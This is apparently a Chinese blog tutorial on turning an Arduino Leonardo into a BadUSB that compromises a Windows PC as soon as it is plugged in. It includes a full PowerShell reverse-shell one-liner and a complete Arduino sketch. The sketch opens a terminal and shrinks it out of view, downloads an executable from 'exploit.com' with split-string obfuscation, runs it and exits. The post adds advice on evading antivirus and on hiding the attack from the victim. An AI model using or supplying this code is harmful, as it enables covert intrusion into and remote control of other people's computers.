BADUSB插入即上线

准备

badusb一个,文中使用的是leonardo_Arduino开发板的,拷录工具选择Arduino
制作badusb就是把badusb模拟成键盘设备,拷录程序进badusb,让其在插入PC时自动键入我们提前设置好的按键组合,如键盘键入winr键可以唤起运行,然后输入cmd字符串再回车就可以启动终端。

Arduino开发者工具设置

下载地址

我偏向使用leonardo_Arduino进行编程,但Arduino并没有默认安装该开发板,因此需要自行安装。
打开工具-开发板-开发板管理器,搜索Arduino AVR Boards然后安装即可。
安装完成后,就可以在工具-开发板中选择Arduino Leonardo。然后编程器选择AVRISP mkII

功能探讨

成熟的脚本GitHub上已经有很多了,也可以通过在线网站ducktoolkit生成:

部分功能截图:

但我试用了其中大部分的payload(基本都是橡皮鸭),发现很多payload的执行效果都很不好,有时候插入了badusb一点反应都没有,什么都没执行,有一些payload甚至在拷录时就报错了。

既然开源的payload效果不好,那我们就尝试自己写。要实现远控上线,我们只需考虑以下两点:
1、命令执行反弹shell
2、下载远程文件并执行

reverse_shell

在初步测试中,调用反弹shell极其容易被杀软拦截,特意使用了powershell运行也不行(与我在看《内网安全攻防》中使用powershell内存运行过检测的场景完全不同),因此发现实操是最好的老师。且即使反弹shell了,在功能上也很不方便,没有远控集成的功能可选,另非常依赖终端进程,在进程关闭时shell也就断开了。

贴上常用的powershell反弹shell命令:

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('远程IP',远程端口);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

因为Windows没有Linux上类似的一句话反弹shell,且这命令执行时直接就一堆报错了,不知道是我语句搜集的不对还是现在语法不支持了。建议使用cs直接生成ps1脚本执行,但这ps1的语句太长了,不适合直接拷录进入badusb,因此需要使用第二种方法,下载远程文件并执行。

下载远程文件并执行

利用powershell下载文件还是很方便的,我们只需把马做好免杀,放在远端服务器上即可(文件越小越好,不然成功率会大大下降)。
贴上常用的powershell下载远程文件命令:

powershell (new-object System.Net.WebClient).DownloadFile('远程文件url','本地保存文件名')

执行的话直接输入马的路径并回车即可,但为了隐匿及持久化,进程不要依赖终端,最好使用exe这样的马,可独立进程运行。

困难

因为我们的badusb是模拟成键盘的,即我们的操作都是基于“键盘”,因此需要考虑多个要素。

中文输入法
首先是开启了中文输入法的机器,键盘输入的字母会显示成拼音待选,符号等也是中式符号,不合规。解决方法是我们先按下CAPS LOCK大写锁定,这样我们就可以避开中文输入法的坑,而且Windows命令行大小写不敏感。

终端窗口
因为我们必须调用终端执行命令,而且该过程无法在后台执行。要是受害者插入了badusb,马上弹出了黑黑的终端并有一大串指令在快速输入闪动,估计绝大多数人都会反应过来发生了什么。但由于无法把终端隐藏起来进行输入,至少在我们执行马之前是不能关闭的,只能选择最折中的方法,一是减少命令数以减少badusb执行时长,二是把终端窗口最小化,这里的最小化是指把窗口大小弄置最小。

mode con: cols=16 lines=1&color FE

效果:

挂在边上,无法移动且输入了什么都看不见。要是受害者点击最大化,也没法看到输入了什么。

光标问题
因为我们控制的是“键盘”,键盘的输入都插入到光标中了,要是光标不在终端了,则没法把命令给执行下去。比如,受害者插入了badusb,发现了异常,马上用鼠标到处乱点,导致光标不在终端了,那我们的攻击就失败了。这种情况还没有很好的解决方法,只能把命令缩减到越少越好。

远程文件
发现使用ps1脚本的免杀效果非常不好,即使使用了Invoke-Obfuscation进行加密混淆也不行,有些混淆也不能识别运行。印象中使用ps下载文件没有报毒,只有在运行时报行为警告,可能只是过了静态免杀,但发起外连这个特征依然太明显了。推荐exe马,方便,过了静态基本就可以了。

实现

整体的攻击思路如下:
1、受害者插入badusb
2、badusb锁定大写
3、通过组合键唤起运行并运行cmd
4、最小化终端窗口
5、开始下载远程文件
6、执行远程文件
7、关闭终端

badusb外需要准备的:
1、一台web服务器
2、一个免杀马

代码:

#include<Keyboard.h>
void setup() {
  // put your setup code here, to run once:
  Keyboard.begin();//开始键盘通讯
  delay(2000);//延时

  Keyboard.press(KEY_LEFT_GUI);//win键
  delay(500);
  Keyboard.press('r');//r键
  delay(500);
  Keyboard.release(KEY_LEFT_GUI);//释放win 键
  Keyboard.release('r');//释放R键
  delay(800);

  Keyboard.press(KEY_CAPS_LOCK); //按下大写键 
  Keyboard.release(KEY_CAPS_LOCK); //释放大写键
  delay(500);

  Keyboard.println("CMD ");
  delay(1000);
  Keyboard.println("mode con: cols=16 lines=1&color FE");  // 最小化终端窗口
  delay(1000);

  Keyboard.println("powershell");
  Keyboard.println("set-executionpolicy unrestricted -scope currentuser");
  Keyboard.println("$clnt = new-object system.net.webclient;");
  Keyboard.println("$url= 'htt'+'p://exploit.com/0.exe';");  // 拆分混淆
  Keyboard.println("$file = '0.exe';");  // 本地保存文件名
  Keyboard.println("$clnt.downloadfile($url,$file)");

  delay(1000);

  Keyboard.println("powershell start 0.exe");
  Keyboard.println("");   // 上一条命令需要回车两次
  Keyboard.println("");
  delay(3000);
  Keyboard.println("exit");
  Keyboard.println("exit");  // 退出终端
  delay(500);

  Keyboard.end();//结束键盘通讯
}

void loop() {
  // put your main code here, to run repeatedly:

}

注意
由于badusb开启了大写锁定,所以远程文件url是用大写访问的,如exploit.com会变成EXPLOIT.COM,但依然能访问成功,但路径这块可能不行,文件名也可能会有大小写区分。所以我一般是把马放在网站根目录,然后使用数字命名,后缀放置两个,如0.exe0.EXE,在执行时大小写后缀不会造成影响。

另外关于为何不使用powershell -w hidden执行文件,因为我发现这是一个危险特征,不管做的是什么合理的事,添加了这指令就会被杀软弹窗警告。由于该命令是指隐藏窗口执行,所以我改成先执行再关闭退出,效果一样,马不会随着终端关闭而中断。

另payload里的语句为何要拆分而不直接写成一条,是因为我发现输入长语句时容易卡住,或错位,改成短语句会稳定一点。

总结

这是一个很败家的攻击手法,毕竟一个badusb最便宜也要几十块呢。

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注